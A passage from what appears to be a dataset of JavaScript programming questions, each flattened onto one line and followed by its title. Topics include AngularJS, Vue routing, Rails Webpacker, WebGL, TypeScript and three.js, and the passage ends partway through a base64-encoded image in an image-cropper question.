; } } ) ; }",How to add different columns to a dynamic table from database with javascript "JS : I am trying to do the following quite unsuccessfully so far.I have an string that is semicolon separated . Say a list of emails , so What I am trying to accomplish is split this string ( using split ( ' ; ' ) ) into an array of strings or array of objects ( to aid binding ) . Each of the items I would like to bind to different input elements . After editing I want to read the concatenated value again to send to my backend.Problem is that when editing one of the split inputs , the original item value is not update ( which makes sense as I am guessing the individual items are copies of parts of the original ) , but I am wondering if there is a way to do something like that . Note that I want this to go both ways , so watching the individual inputs and updating the original one manually , would just fire an infinite loop of updates.I have tried a few different ways , including creating an items property get/set using Object.defineProperty to read and right to the string ( set was never fired ) .take a look at this plnker 'email1 @ example.com ; email2 @ example.com ; email3 @ example.com '",Editing a delimited string using multiple input fields in AngularJS "JS : I am developing a web page capturer and find that some stylesheet rules of a web page captured from Reddit.com are lost.After a further investigation I found that the source HTML code of a Reddit.com page has a style element like this : When JavaScript has been on , the style element is processed by the script and be emptied : And that 's why my capturer failed to get the stylesheets.When the content of a style element is changed by script , the document stylesheet of the page would normally change accordingly and the page would be re-rendered to reflect the change.However , for the Reddit.com page , after the style element is emptied , its stylesheet rules can still be accessed via document.styleSheets [ 1 ] .cssRules , while document.styleSheets [ 1 ] .ownerNode.textContent is `` '' .Additionally , if I modify the style element by running a script like document.styleSheets [ 1 ] .ownerNode.textContent = `` /*null*/ '' , document.styleSheets [ 1 ] .cssRules becomes empty and the web page is re-rendered , just like what my capturer has got.I am confused by the bizarre behavior . I 'd like to know why and how the Reddit.com page keep the styles after emptying the style element . Any information is appreciated . < style type= '' text/css '' data-styled-components= '' ... '' data-styled-components-is-local= '' true '' > ... < /style > < style type= '' text/css '' data-styled-components= '' '' data-styled-components-is-local= '' true '' > < /style >",Empty style element with working CSS rules ? "JS : I got this fine idea about translating routes paths , which does n't sound so clever any more : ) , once I have encountered a problem . I hope you guys will see/find a solution.This is my routes.js file , where routes are definedAnd this is my change language functionality in my componentThe problem is following . When user executes the change language functionality I successfully change lang param , but the this. $ route.name keeps the same in old language . Is there a way to `` reload '' routes , so there will be new routes paths , which will include proper language ? If you need any additional informations , please let me know and I will provide . Thank you ! export default [ { path : '/ : lang ' , component : { template : ' < router-view > < /router-view > ' } , children : [ { path : `` , name : 'Home ' , component : load ( 'Home ' ) } , { path : translatePath ( 'contact ' ) , name : 'Contact ' , component : load ( 'Contact ' ) } , { path : translatePath ( 'cookiePolicy ' ) , name : 'CookiePolicy ' , component : load ( 'CookiePolicy ' ) } , ] } , ] // and my simple function for translating pathsfunction translatePath ( path ) { let lang = Cookie.get ( 'locale ' ) ; let pathTranslations = { en : { contact : 'contact ' , cookiePolicy : 'cookie-policy ' , } , sl : { contact : 'kontakt ' , cookiePolicy : 'piskotki ' , } } ; return pathTranslations [ lang ] [ path ] ; } setLocale ( locale ) { let selectedLanguage = locale.toLowerCase ( ) ; this. $ my.locale.setLocale ( selectedLanguage ) ; // update cookie locale console.log ( this. $ route.name ) ; this. $ router.replace ( { name : this. $ route.name , params : { lang : selectedLanguage } } ) ; location.reload ( ) ; } ,",Translate vuejs route paths JS : Is there any value for what x === x returns false without NaN ? For example : I see that the only value where x === x returns false is when isNaN ( x ) === true.Is there another value of x for what x === x returns false ? An official reference would be welcome ! > x = 11 > x === xtrue > x = { } { } > x === xtrue > x = new Date ( ) Wed Nov 13 2013 15:44:22 GMT+0200 ( EET ) > x === xtrue > x = NaNNaN > x === xfalse,Is there any value for what x === x returns false without NaN ? "JS : With the arrival of Webpacker to Ruby On Rails , I ca n't find a way to use my JavaScript functions.I have a file called app-globals.js with a function to test : Then I want to use it in one of my views : But when I press the button , this error is shown in the browser console : ReferenceError : alerts is not definedI placed the app-globals.js file in `` app/javascript '' and in `` app/ javascript/packs/application.js '' I placed require ( `` app-globals '' ) .I moved app-globals.js to `` app/javascript/packs '' and removed the require ( `` app-globals '' ) from application.js.With either case , an error still appears . function alerts ( ) { alert ( `` TEST '' ) } < % = button_tag 'Button ' , type : 'button ' , onClick : 'alerts ( ) ' % >",How to execute custom javascript functions in Rails 6 "JS : I am trying to capture the text on Ctrl+V event as below.. Creating a textarea in the page and setting height 0px and width 0px . like belowOn pressing V key i am setting the focus to that textarea and then using Ctrl+V button . Like below.. I think this as a most inefficient approach and waiting for valuable suggestions to improve this.. < textarea id= '' a '' style= '' height:0px ; width:0px '' > < /textarea > shortcut.add ( `` X '' , function ( ) { $ ( ' # a ' ) .focus ( ) ; } ) ; // In between user have to press Ctrl+V to paste the content shortcut.add ( `` V '' , function ( ) { alert ( $ ( ' # a ' ) .val ( ) ) ; } ) ;",Any other alternative to capturing text on Ctrl+V "JS : It 's commonly known that { } is shorter way to define an object like [ ] is for an array.But now I am wondering why : { } evaluates to undefined ( { } ) evaluates to `` correct '' ObjectWhy is JavaScript behaving like this ? For example 1 equals to ( 1 ) , so why { } not equals to ( { } ) ? { } ! = ( { } )",Why { } ! = ( { } ) in JavaScript ? "JS : I 'm debugging a WebGL application , and the following error message pops up in my console , right after a call to compileShader ( ) and getShaderInfoLog ( ) : I 've searched teh interwebs for glGenSyncTokenCHROMIUM , with no avail . ( This error seems to be hardware-specific , as I can only reproduce it on a GT-I9505 when running Chrome ) What does this error mean , and/or how can I get more detailed information of what 's going on ? GL_INVALID_OPERATION : glGenSyncTokenCHROMIUM : fence sync must be flushed before generating sync token",What does the `` glGenSyncTokenCHROMIUM '' error mean ? "JS : I am beginner in AngularJS and facing some issues . I am trying to make a questionnaire having 1 question on each page . On every Next button data is save in the database . I am trying to make a Next button logic but could n't get an idea how to make a generic NEXT button logic which enables next field using ng-show , disables the current one and lastly store the current value of field in database . Can someone help to make a logic for Next button that will enable next div show on next page and also store data in Database ? HTML Code : Javascript : UserController.js < div class= '' container '' > < div class= '' row-fluid '' > < section class= '' col-md-12 well '' > < h1 > < i class= '' fa fa-key '' > < /i > User Creation < /h1 > < hr / > < form class= '' form-horizontal '' > < div class= '' alert alert-info '' role= '' alert '' > < strong > < i class= '' fa fa-info-circle '' > < /i > Basic Information < /strong > < /div > < div class= '' form-group '' ng-show= '' firstNameDiv '' > < label class= '' col-sm-2 control-label '' for= '' firstName '' > First Name < /label > < div class= '' col-sm-10 '' > < input type= '' text '' class= '' form-control '' id= '' firstName '' placeholder= '' First Name '' ng-model= '' user.firstName '' required / > < /div > < /div > < div class= '' form-group '' ng-show= '' middleNameDiv '' > < label class= '' col-sm-2 control-label '' for= '' middleName '' > Middle Name < /label > < div class= '' col-sm-10 '' > < input type= '' text '' class= '' form-control '' id= '' middleName '' placeholder= '' Middle Name '' ng-model= '' user.middleName '' / > < /div > < /div > < div class= '' form-group '' ng-show= '' lastNameDiv '' > < label class= '' col-sm-2 control-label '' for= '' lastName '' > Last Name < /label > < div class= '' col-sm-10 '' > < input type= '' text '' class= '' form-control '' id= '' lastName '' placeholder= '' Last Name '' ng-model= '' user.lastName '' / > < /div > < /div > < div class= '' form-group '' ng-show= '' genderDiv '' > < label class= '' col-sm-2 control-label '' for= '' gender '' > Gender < /label > < div class= '' col-sm-10 '' > < div class= '' radio '' > < label > < input type= '' radio '' name= '' male '' ng-model= '' user.gender '' > Male < /label > < /div > < div class= '' radio '' > < label > < input type= '' radio '' name= '' female '' ng-model= '' user.gender '' disabled > Female < /label > < /div > < /div > < /div > < div class= '' form-group '' ng-show= '' ageDiv '' > < label class= '' col-sm-2 control-label '' for= '' age '' > Age < /label > < div class= '' col-sm-10 '' > < input type= '' text '' class= '' form-control '' id= '' age '' placeholder= '' Age '' ng-model= '' user.age '' / > < /div > < /div > < div class= '' form-group '' > < div class= '' col-sm-offset-2 col-sm-10 '' > < a href= '' # '' class= '' btn btn-default '' > < i class= '' fa fa-arrow-circle-left '' > < /i > Back < /a > < a href= '' # '' class= '' btn btn-default '' > < i class= '' fa fa-arrow-circle-left '' ng-click= '' next ( ) '' > < /i > Next < /a > < /div > < /div > < /form > < /section > < /div > ( function ( ) { 'use strict ' ; angular.module ( 'myApp ' ) .controller ( 'UserCtrl ' , function ( $ scope , $ rootScope , $ routeParams , $ sanitize , $ location , UserSrv ) { // loading variable to show the spinning loading icon $ scope.loading = false ; $ scope.init = function ( ) { $ scope.firstNameDiv = true ; $ scope.middleNameDiv = false ; $ scope.lastNameDiv = false ; $ scope.genderDiv = false ; $ scope.ageDiv = false ; } ; // runs once per controller instantiation $ scope.init ( ) ; $ scope.next = function ( ) { $ scope.firstNameDiv = false ; // Call User service with firstNameDiv value . UserSrv.saveData ( ) ; $ scope.middleNameDiv = true ; // Logic to enable next field and save the current field value // ? ? ? } } ) ; } ( ) ) ;",Logic for the Next button for the questionnaire ? JS : what is the best usage for the `` typeof '' JavaScript function ? Thanks if ( typeof ( myvar ) == 'undefined ' ) { //orif ( typeof ( myvar ) == undefined ) { //orif ( typeof myvar == 'undefined ' ) { //orif ( typeof myvar == undefined ) {,typeof usage for undefined variables "JS : The type Record in typescript is defined as : I do n't understand why keyof any is used here . After checking I found that the type of keyof any is string | number | symbol . Why is that ? type Record < K extends keyof any , T > = { [ P in K ] : T ; }",Why does ` keyof any ` have type of ` string | number | symbol ` in typescript ? "JS : I 'm trying to upload some data from a from to a Rails server using AJAX . The form contains two text inputs and one file input . Here 's what my submit event handler looks like : This works fine in every browser except IE . When I try to submit the form in IE , my Rails server spits out the following error : I 'd appreciate any insights into why this might not be working . $ ( `` form '' ) .on ( `` submit '' , function ( event ) { event.preventDefault ( ) ; $ .ajax ( { url : $ ( this ) .attr ( `` action '' ) , type : $ ( this ) .attr ( `` method '' ) , data : new FormData ( this ) , contentType : false , processData : false } ) ; } ) ; Unexpected error while processing request : bad content body /Users/landonschropp/.rbenv/versions/2.0.0-p247/lib/ruby/gems/2.0.0/gems/rack-1.5.2/lib/rack/multipart/parser.rb:117 : in ` get_current_head_and_filename_and_content_type_and_name_and_body ' /Users/landonschropp/.rbenv/versions/2.0.0-p247/lib/ruby/gems/2.0.0/gems/rack-1.5.2/lib/rack/multipart/parser.rb:19 : in ` block in parse ' /Users/landonschropp/.rbenv/versions/2.0.0-p247/lib/ruby/gems/2.0.0/gems/rack-1.5.2/lib/rack/multipart/parser.rb:17 : in ` loop ' /Users/landonschropp/.rbenv/versions/2.0.0-p247/lib/ruby/gems/2.0.0/gems/rack-1.5.2/lib/rack/multipart/parser.rb:17 : in ` parse ' /Users/landonschropp/.rbenv/versions/2.0.0-p247/lib/ruby/gems/2.0.0/gems/rack-1.5.2/lib/rack/multipart.rb:25 : in ` parse_multipart ' /Users/landonschropp/.rbenv/versions/2.0.0-p247/lib/ruby/gems/2.0.0/gems/rack-1.5.2/lib/rack/request.rb:377 : in ` parse_multipart ' /Users/landonschropp/.rbenv/versions/2.0.0-p247/lib/ruby/gems/2.0.0/gems/rack-1.5.2/lib/rack/request.rb:203 : in ` POST ' /Users/landonschropp/.rbenv/versions/2.0.0-p247/lib/ruby/gems/2.0.0/gems/rack-1.5.2/lib/rack/methodoverride.rb:26 : in ` method_override ' /Users/landonschropp/.rbenv/versions/2.0.0-p247/lib/ruby/gems/2.0.0/gems/rack-1.5.2/lib/rack/methodoverride.rb:14 : in ` call ' ...",Submitting a form to a Rails server from jQuery using AJAX is n't working in IE11 "JS : I have needed line graph library which supports multi color ( most probably three colors ) for a mobile application.Ex : y-axis called Glucose and range of 50 -600 , then x-axis date , rage of one month ( so always range will be 30 points per day ) Logic : consider x-axis start from So my graph should be drawn as follows , depend on the glucose level.I went through Google Graphs , and jqPlot but seems to unlucky , Anyone experience on this ? 1st and level of glucose is 702nd - 80………9th - 30010th – 350………15th – 50016th – 550………25th – 12026th – 130 50 – 150 - low – and line color should be green151 – 300 – average – line color should be orangeAbove 301 – high – line color should be red",jQuery/JS graphs - Plot different colored lines depend on conditions "JS : I have a website and a Google Chrome extension . The extension uses the NaCl API ( JavaScript ) to write/read files ( C++ ) from user 's computer . My question is : Can I load my extension in my website , for example , in an iFrame and keep its functions ? I tried to do it , but it only loads the extension `` visual '' part . The write/read ( NaCl ) functions did n't work . An example to better explain what I wan na do : It 's actually working this way : I 'd like to do this : Or this another way , but I think it 's not possible , is it ? Is it possible ? How can I do it ? EDITHere is the code : In manifest.json I put this : My website 's Iframe : In my extension index.js file , just has two buttons . Their functions ( JavaScript ) communicate with the .cc file ( through NaCl ) to save or load a string in a file on computer . As I said , the extension is working fine , but when I try to load it in my website through an Iframe , it only loads the html ( visual ) . The JavaScript does n't load , consequently , the C++ neither , as long as the JS calls the C++ functions with NaCl.Any solution ? `` externally_connectable '' : { `` matches '' : [ `` http : //www.example.com/index.html '' ] } , '' web_accessible_resources '' : [ `` /* '' ] , '' content_scripts '' : [ { `` matches '' : [ `` http : //www.example.com/index.html '' ] , `` js '' : [ `` index.js '' ] } ] , < iframe src= '' chrome-extension : //myextensionid/index.html '' > < /iframe >",How to use Chrome Extension functions ( NaCl ) in my website ? "JS : JavaScript 's quirky weakly-typed == operator can easily be shown to be non-transitive as follows : I wonder if there are any similar tricks one can play with roundoff error , Infinity , or NaN that could should show === to be non-transitive , or if it can be proved to indeed be transitive . var a = `` 16 '' ; var b = 16 ; var c = `` 0x10 '' ; alert ( a == b & & b == c & & a ! = c ) ; // alerts true",Is the JavaScript operator === provably transitive ? "JS : I 'm trying to build a requirejs/backbone/handlebars project , and I seem to be coming accross this error when I try run the app.build.js : The app works perfectly in and without errors when not built . The project has backbone and underscore included as requirejs shims if it matters . I would post the whole source , but it is an internal system , so I ca n't . If more info is needed , I can post it.Thanks ! Tracing dependencies for : mainReferenceError : _ is not definedIn module tree : main cs hbs underscoreReferenceError : _ is not definedIn module tree : main cs hbs underscore at Object.eval ( eval at < anonymous > ( /usr/local/share/npm/lib/node_modules/requirejs/bin/r.js:13718:64 ) )",require-handlebars-plugin build error - ReferenceError : _ is not defined "JS : So getting the objects I need in JS , I did : If I console.log vmopl in the end , I 'll get something likeNow if I try to send this to AJAX this up usingA controller action Should pick vmop up , the controller looks like so : But when I put a breakpoint , I always see vmop as null , even when I pass it to another object ( var temp = vmop ; ) .ViewMethodOfPayment is a simple model class : If I missed any info , or if it 's unclear what I want to do/expect , please leave a comment , I 'll answer as soon as I can ! Thanks for reading ! edit : changed the first block of code ( line : 9 , because I included a code that will bring a JavaScript error ) $ ( '.combine-payment-input ' ) .each ( function ( index , value ) { if ( parseFloat ( value.value ) > 0 ) { if ( methodOfPayment == -1 ) { methodOfPayment = value.dataset.method ; } else { methodOfPayment = 0 ; } vmopl.push ( { id : value.dataset.method , name : $ ( 'label [ for= '' ' + value.id + ' '' ] ' ) .html ( ) , inUse : 'True ' , ammount : value.value } ) ; } } ) ; [ Object { id= '' 2 '' , name= '' Card '' , inUse= '' True '' , ammount= '' 500 '' } , Object { id= '' 1 '' , name= '' Cash '' , inUse= '' True '' , ammount= '' 250 '' } ] $ .get ( '/reports/savebill/ ' + methodOfPayment + ' ? vmop= ' + JSON.stringify ( vmopl ) , function ( data ) { if ( data == 'True ' ) { location.href = '/order/neworder/ ' ; } else { alert ( `` Unsuccessful ! `` ) ; } } ) ; public bool SaveBill ( int id , ViewMethodOfPayment [ ] vmop ) { //lots of code ... } public class ViewMethodOfPayment { public long Id { get ; set ; } public string Name { get ; set ; } public bool InUse { get ; set ; } public double Ammount { get ; set ; } }",Sending an array of objects via AJAX - ASP.NET MVC "JS : GoalI want to update the Camera Position so that a Plane World Position matches a DIV Screen Position.First thoughtsI need to calculate camera.position.z - so that the planes face matches the size of the DIV - even when resizing the canvas.See computeZ in action here.Next stepsThe world face size now matches the DIV screen pixel size.Next we need to find a camera.position.x and camera.position.y - so that the face directly overlaps the DIV.I 've studied ... How to Fit Camera to ObjectThree.js - Width of viewTHREE.JS : Get object size with respect to camera and object position on screenConverting World coordinates to Screen coordinates in Three.js using Projection ... But have been struggling to build something that works for computeX and computeYPlease helpTake a look at the computeX and computeY functions in the fiddle I 've provided . These functions are my best attempt - but do not work.How do I build these functions ? UpdateI 've come up with a solution with the help of Craig 's post . This class builds on his methods to cover resize events . this.computeZ = function ( meshHandle , cameraHandle , faceHeight , targetHeight ) { var face = meshHandle.geometry.vertices [ 2 ] var vFOV = cameraHandle.fov * Math.PI / 180 ; var vHeightPartial = 2 * Math.tan ( vFOV / 2 ) ; var p1 = faceHeight * window.innerHeight ; var p2 = face.z * vHeightPartial ; var p3 = targetHeight * vHeightPartial ; var p4 = targetHeight * p2 ; var p5 = p1 + p4 ; var z = p5/p3 ; return z ; }",ThreeJS update Camera position so Plane world position matches DIV screen position "JS : I 'm making a profile picture crop editor which allows for dragging , scaling and rotating an image within an area.The dragging of the image is done by capturing the mousedown and mousemove event of the area and calculating the cursors starting and stopping x/y coordinates inside the area to get the distance which the cursor has traveled . This value is then added to or subtracted from ( depending on direction ) the image 's current inline style transform translate ( x , y ) values.The problem is that when the image is rotated its translate ( x y ) values no longer corresponds relative to the area 's x/y coordinates.I 've found a couple of examples on how to calculate the x/y coordinates of the four corners of a rotated square or rectangle using the radians of the rotated angle and cos and sin . But because geometry is n't my strong suit I do n't know how these calculations would apply to the translate ( x , y ) values of the image.Here is a pen of the how the image cropper currently works : https : //codepen.io/ClubAce/pen/maNJNZThe image is supposed to be dragged along the x/y axis of the area regardless of the image 's rotation.I really hope someone can help me figure out how the script can be modified to produce the desired dragging behaviour.Thx . var dragArea = document.getElementById ( 'drag-area ' ) ; var photoImg = document.getElementById ( 'photo ' ) ; var cropCircle = document.getElementById ( 'crop-circle ' ) ; var cloneContainer = document.getElementById ( 'clone-container ' ) ; var resetAll = document.getElementById ( 'reset-all ' ) ; var scaleSlider = document.getElementById ( 'scale-slider ' ) ; var scaleInput = document.getElementById ( 'scale-input ' ) ; var scaleReset = document.getElementById ( 'scale-reset ' ) ; var rotateSlider = document.getElementById ( 'rotate-slider ' ) ; var rotateInput = document.getElementById ( 'rotate-input ' ) ; var rotateReset = document.getElementById ( 'rotate-reset ' ) ; var area = { } , photo = { translate : { x : 0 , y : 0 } , transformOrigin : { x : 0 , y : 0 } } ; photoImg.src = photoSrc ( ) ; photoImg.style.top = cropCircle.offsetTop+'px ' ; photoImg.style.left = cropCircle.offsetLeft+'px ' ; photoImg.style.transform = 'scale ( 1 ) rotate ( 0deg ) translate ( 0px , 0px ) ' ; photoImg.style.transformOrigin = '0px 0px ' ; photoImg.onload = function ( ) { if ( this.naturalWidth < this.naturalHeight ) { this.width = cropCircle.clientWidth ; } else if ( this.naturalWidth > this.naturalHeight ) { this.height = cropCircle.clientHeight ; } else { this.height = cropCircle.clientHeight ; this.width = cropCircle.clientWidth ; } } dragArea.onmouseenter = function ( ) { this.onmousedown = function ( e ) { var transform = photoImg.style.transform ; var photoStyle = window.getComputedStyle ( photoImg ) ; var photoMatrix = new DOMMatrix ( photoStyle.transform ) ; var transformOrigin = photoImg.style.transformOrigin.replace ( /px/g , `` ) .split ( ' ' ) ; photo = { translate : { } , x : photoMatrix.m41 , y : photoMatrix.m42 , scale : Number ( /scale\ ( ( - ? \d+ ( ? : \.\d* ) ? ) \ ) /.exec ( transform ) [ 1 ] ) , rotate : Number ( /rotate\ ( ( - ? \d+ ( ? : \.\d* ) ? ) deg\ ) /.exec ( transform ) [ 1 ] ) , transformOrigin : { x : Number ( transformOrigin [ 0 ] ) , y : Number ( transformOrigin [ 1 ] ) } } area = { start : { x : e.offsetX + ( e.target == cropCircle ? cropCircle.offsetLeft : 0 ) , y : e.offsetY + ( e.target == cropCircle ? cropCircle.offsetTop : 0 ) } , distance : { x : 0 , y : 0 } } ; this.onmousemove = function ( e ) { area.end = { x : e.offsetX + ( e.target == cropCircle ? cropCircle.offsetLeft : 0 ) , y : e.offsetY + ( e.target == cropCircle ? cropCircle.offsetTop : 0 ) } ; if ( area.end.x > area.start.x ) { area.distance.x = { type : 'positive ' , // right total : area.end.x - area.start.x } } else { area.distance.x = { type : 'negative ' , // left total : area.start.x - area.end.x } } if ( area.end.y > area.start.y ) { area.distance.y = { type : 'positive ' , // down total : area.end.y - area.start.y } } else { area.distance.y = { type : 'negative ' , // up total : area.start.y - area.end.y } } if ( area.distance.x.type == 'positive ' ) { photo.translate.x = photo.x + area.distance.x.total ; } else { photo.translate.x = photo.x - area.distance.x.total ; } if ( area.distance.y.type == 'positive ' ) { photo.translate.y = photo.y + area.distance.y.total ; } else { photo.translate.y = photo.y - area.distance.y.total ; } photoTransform ( { x : photo.translate.x , y : photo.translate.y } ) ; } } } dragArea.onmouseleave = function ( ) { this.onmousemove = function ( e ) { e.preventDefault ( ) ; } } dragArea.onmouseup = function ( ) { this.onmousemove = function ( e ) { e.preventDefault ( ) ; } } resetAll.onclick = function ( ) { scaleSlider.value = scaleReset.value ; scaleInput.value = scaleReset.value ; rotateSlider.value = rotateReset.value ; rotateInput.value = rotateReset.value ; photo = { translate : { x : 0 , y : 0 } , transformOrigin : { x : 0 , y : 0 } } ; photoTransform ( { scale : 1 , rotate : ' 0 ' , x : ' 0 ' , y : ' 0 ' } ) ; } scaleSlider.oninput = function ( ) { var value = this.value ; scaleInput.value = value ; photoTransform ( { scale : value } ) ; } scaleInput.oninput = function ( ) { var value = this.value ; this.value = value.length ? value : scaleReset.value ; scaleSlider.value = this.value ; photoTransform ( { scale : this.value } ) ; } scaleInput.onkeydown = function ( e ) { if ( e.keyCode == 13 ) this.blur ( ) ; } scaleInput.onblur = function ( ) { var value = this.value ; this.value = value.length ? value : scaleReset.value ; scaleSlider.value = this.value ; photoTransform ( { scale : this.value } ) ; } scaleReset.onclick = function ( ) { scaleSlider.value = this.value ; scaleInput.value = this.value ; photoTransform ( { scale : this.value } ) ; } rotateSlider.oninput = function ( ) { var value = this.value ; rotateInput.value = value ; photoTransform ( { rotate : value } ) ; } rotateInput.oninput = function ( ) { var value = this.value ; this.value = value.length ? value : rotateReset.value ; rotateSlider.value = this.value ; photoTransform ( { rotate : this.value } ) ; } rotateInput.onkeydown = function ( e ) { if ( e.keyCode == 13 ) this.blur ( ) ; } rotateInput.onblur = function ( ) { var value = this.value ; this.value = value.length ? value : rotateReset.value ; rotateSlider.value = this.value ; photoTransform ( { rotate : this.value } ) ; } rotateReset.onclick = function ( ) { rotateSlider.value = this.value ; rotateInput.value = this.value ; photoTransform ( { rotate : this.value } ) ; } function photoTransform ( property ) { property = property || { } ; var transform = photoImg.style.transform ; var axisX = property.axisX || photo.transformOrigin.x || ( cropCircle.getBoundingClientRect ( ) .width / 2 ) ; var axisY = property.axisY || photo.transformOrigin.y || ( cropCircle.getBoundingClientRect ( ) .height / 2 ) ; var scale = property.scale || photo.scale || Number ( /scale\ ( ( - ? \d+ ( ? : \.\d* ) ? ) \ ) /.exec ( transform ) [ 1 ] ) ; var rotate = property.rotate || photo.rotate || Number ( /rotate\ ( ( - ? \d+ ( ? : \.\d* ) ? ) deg\ ) /.exec ( transform ) [ 1 ] ) ; var translate = /translate\ ( ( - ? \d+ ( ? : \.\d* ) ? ) px , ( - ? \d+ ( ? : \.\d* ) ? ) px\ ) /.exec ( transform ) ; var translateX = ( property.x || photo.translate.x || Number ( translate [ 1 ] ) ) / scale ; var translateY = ( property.y || photo.translate.y || Number ( translate [ 2 ] ) ) / scale ; photoImg.style.transformOrigin = axisX+'px '+axisY+'px ' ; photoImg.style.transform = 'scale ( '+scale+ ' ) rotate ( '+rotate+'deg ) translate ( '+translateX+'px , '+translateY+'px ) ' ; photo.transformOrigin = { x : axisX , y : axisY } photo.scale = scale ; photo.rotate = rotate ; } function photoSrc ( ) { return 'data : image/jpeg ; base64 , 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